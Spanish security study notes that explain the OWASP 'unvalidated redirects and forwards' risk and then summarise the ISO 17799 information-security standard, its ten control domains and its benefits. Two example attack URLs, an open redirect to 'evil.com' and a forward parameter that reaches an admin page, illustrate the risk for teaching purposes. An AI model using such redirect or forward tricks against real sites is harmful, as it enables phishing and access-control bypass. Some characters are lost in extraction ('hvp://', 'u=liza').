Las aplicaciones web frecuentemente redirigen y reenvían a los usuarios hacia otras páginas o sitios web, y utilizan datos no confiables para determinar la página de destino. Sin una validación apropiada, los atacantes pueden redirigir a las víctimas hacia sitios de phishing o malware, o utilizar reenvíos para acceder páginas no autorizadas.
Ejemplos de Escenarios de Ataque 
Escenario #1: 
La aplicación tiene una página llamada “redirect.jsp” que recibe un único parámetro llamado “url”. El atacante compone una URL maliciosa que redirige a los usuarios a una aplicación que realiza phishing e instala código malicioso. hvp://www.example.com/redirect.jsp?url=evil.com 
Escenario #2:
 La aplicación u=liza reenvíos para redirigir pe=ciones entre dis=ntas partes de la aplicación. Para facilitar esto, algunas páginas utilizan un parámetro para indicar donde debería ser dirigido el usuario si la transacción es satisfactoria. En este caso, el atacante compone una URL que evadirá el control de acceso de la aplicación y llevará al atacante a una función de administración a la que en una situación habitual no debería tener acceso. hvp://www.example.com/boring.jsp?fwd=admin.jsp
ISO 17799
ISO 17799 es una norma internacional que ofrece recomendaciones para realizar la gestión de la seguridad de la información dirigidas a los responsables de iniciar, implantar o mantener la seguridad de una organización.
· ISO 17799 define la información como un activo que posee valor para la organización y requiere por tanto de una protección adecuada. El objetivo de la seguridad de la información es proteger adecuadamente este activo para asegurar la continuidad del negocio, minimizar los daños a la organización y maximizar el retorno de las inversiones y las oportunidades de negocio.
· La seguridad de la información se define como la preservación de:
Confidencialidad. Aseguramiento de que la información es accesible sólo para aquellos autorizados a tener acceso. 
Integridad. Garantía de la exactitud y completitud de la información y de los métodos de su procesamiento. 
Disponibilidad. Aseguramiento de que los usuarios autorizados tienen acceso cuando lo requieran a la información y sus activos asociados.
El objetivo de la norma ISO17799 es proporcionar una base común para desarrollar normas de seguridad dentro de las organizaciones y ser una práctica eficaz de la gestión de la seguridad.
● La adaptación española de la norma se denomina UNE-ISO/IEC 17799.
● Se trata de una norma NO CERTIFICABLE, pero que recoge la relación de controles a aplicar (o al menos, a evaluar) para establecer un Sistema de Gestión de la Seguridad de la Información (SGSI) según la norma UNE 71502, CERTIFICABLE.
En 1995 el British Standard Institute publica la norma BS 7799, un código de buenas prácticas para la gestión de la seguridad de la información.
● En 1998, también el BSI publica la norma BS 7799-2, especificaciones para los sistemas de gestión de la seguridad de la información; se revisa en 2002.
● Tras una revisión de ambas partes de BS 7799 (1999), la primera es adoptada como norma ISO en 2000 y denominada ISO/IEC 17799:
– Conjunto completo de controles que conforman las buenas prácticas de seguridad de la información.
– Aplicable por toda organización, con independencia de su tamaño.
– Flexible e independiente de cualquier solución de seguridad concreta: recomendaciones neutrales con respecto a la tecnología.
● En 2002 la norma ISO se adopta como UNE sin apenas modificación (UNE 17799), y en 2004 se establece la norma UNE 71502, basada en BS7799-2 (no existe equivalente ISO).
La norma UNE-ISO/IEC 17799 establece diez dominios de control que cubren por completo la Gestión de la Seguridad de la Información:
1. Política de seguridad.
2. Aspectos organizativos para la seguridad.
3. Clasificación y control de activos.
4. Seguridad ligada al personal.
5. Seguridad física y del entorno.
6. Gestión de comunicaciones y operaciones.
7. Control de accesos.
8. Desarrollo y mantenimiento de sistemas.
9. Gestión de continuidad del negocio.
10.Conformidad con la legislación.
De estos diez dominios se derivan 36 objetivos de control (resultados que se esperan alcanzar mediante la implementación de controles) y 127 controles (prácticas, procedimientos o mecanismos que reducen el nivel de riesgo).
POLÍTICA DE SEGURIDAD
· Dirigir y dar soporte a la gestión de la seguridad de la información.
ASPECTOS ORGANIZATIVOS PARA LA SEGURIDAD
· Gestionar la seguridad de la información dentro de la organización.
· Mantener la seguridad de los recursos de tratamiento de la información y de los activos de información de la organización que son accedidos por terceros.
· Mantener la seguridad de la información cuando la responsabilidad de su tratamiento se ha externalizado a otra organización.
CLASIFICACIÓN Y CONTROL DE ACTIVOS
· Mantener una protección adecuada sobre los activos de la organización.
· Asegurar un nivel de protección adecuado a los activos de información.
SEGURIDAD LIGADA AL PERSONAL
· Reducir los riesgos de errores humanos, robos, fraudes o mal uso de las instalaciones y los servicios.
· Asegurar que los usuarios son conscientes de las amenazas y riesgos en el ámbito de la seguridad de la información, y que están preparados para sostener la política de seguridad de la organización en el curso normal de su trabajo.
· Minimizar los daños provocados por incidencias de seguridad y por el mal funcionamiento, controlándolos y aprendiendo de ellos.
SEGURIDAD FÍSICA Y DEL ENTORNO
· Evitar accesos no autorizados, daños e interferencias contra los locales y la información de la organización.
· Evitar pérdidas, daños o comprometer los activos, así como la interrupción de las actividades de la organización.
· Prevenir las exposiciones a riesgo o robos de información y de recursos de tratamiento de información.
GESTIÓN DE COMUNICACIONES Y OPERACIONES
· Asegurar la operación correcta y segura de los recursos de tratamiento de información.
· Minimizar el riesgo de fallos en los sistemas.
· Proteger la integridad del software y de la información.
· Mantener la integridad y la disponibilidad de los servicios de tratamiento de información y comunicación.
· Asegurar la salvaguarda de la información en las redes y la protección de su infraestructura de apoyo.
· Evitar daños a los activos e interrupciones de actividades de la organización.
· Prevenir la pérdida, modificación o mal uso de la información intercambiada entre organizaciones.
CONTROL DE ACCESOS
· Controlar los accesos a la información.
· Evitar accesos no autorizados a los sistemas de información.
· Evitar el acceso de usuarios no autorizados.
· Protección de los servicios en red.
· Evitar accesos no autorizados a ordenadores.
· Evitar el acceso no autorizado a la información contenida en los sistemas.
· Detectar actividades no autorizadas.
· Garantizar la seguridad de la información cuando se usan dispositivos de informática móvil y teletrabajo.
DESARROLLO Y MANTENIMIENTO DE SISTEMAS
· Asegurar que la seguridad está incluida dentro de los sistemas de información.
· Evitar pérdidas, modificaciones o mal uso de los datos de usuario en las aplicaciones.
· Proteger la confidencialidad, autenticidad e integridad de la información.
· Asegurar que los proyectos de Tecnología de la Información y las actividades complementarias son llevadas a cabo de una forma segura.
· Mantener la seguridad del software y la información de la aplicación del sistema
GESTIÓN DE CONTINUIDAD DEL NEGOCIO
· Reaccionar a la interrupción de actividades del negocio y proteger sus procesos críticos frente grandes fallos o desastres.
CONFORMIDAD
· Evitar el incumplimiento de cualquier ley, estatuto, regulación u obligación contractual y de cualquier requerimiento de seguridad.
· Garantizar la alineación de los sistemas con la política de seguridad de la organización y con la normativa derivada de la misma.
· Maximizar la efectividad y minimizar la interferencia de o desde el proceso de auditoría de sistemas.
Ventajas de la norma
● La adopción de la norma ISO 17799 proporciona diferentes ventajas a cualquier organización:
– Aumento de la seguridad efectiva de los sistemas de información.
– Correcta planificación y gestión de la seguridad.
– Garantías de continuidad del negocio.
– Mejora continua a través del proceso de auditoría interna.
– Incremento de los niveles de confianza de nuestros clientes y partners.
– Aumento del valor comercial y mejora de la imagen de la organización.
– ¡CERTIFICACIÓN! (UNE 71502)
Bibliografía
[1] 	«Microsoft PowerPoint - ISO17799,» [En línea]. Available: http://www.shutdown.es/ISO17799.pdf. [Último acceso: 07 08 2021].
[2] 	«issuu,» 28 03 2017. [En línea]. Available: https://issuu.com/dragonjar/docs/guia_de_pruebas_owasp_4.0_espa__ol. [Último acceso: 07 08 2021].
[3] 	OWASP the open web application security proyect, owasp top 10 -2013 los diez riesgos más críticos en aplicaciones web., the owasp foundation, 2013.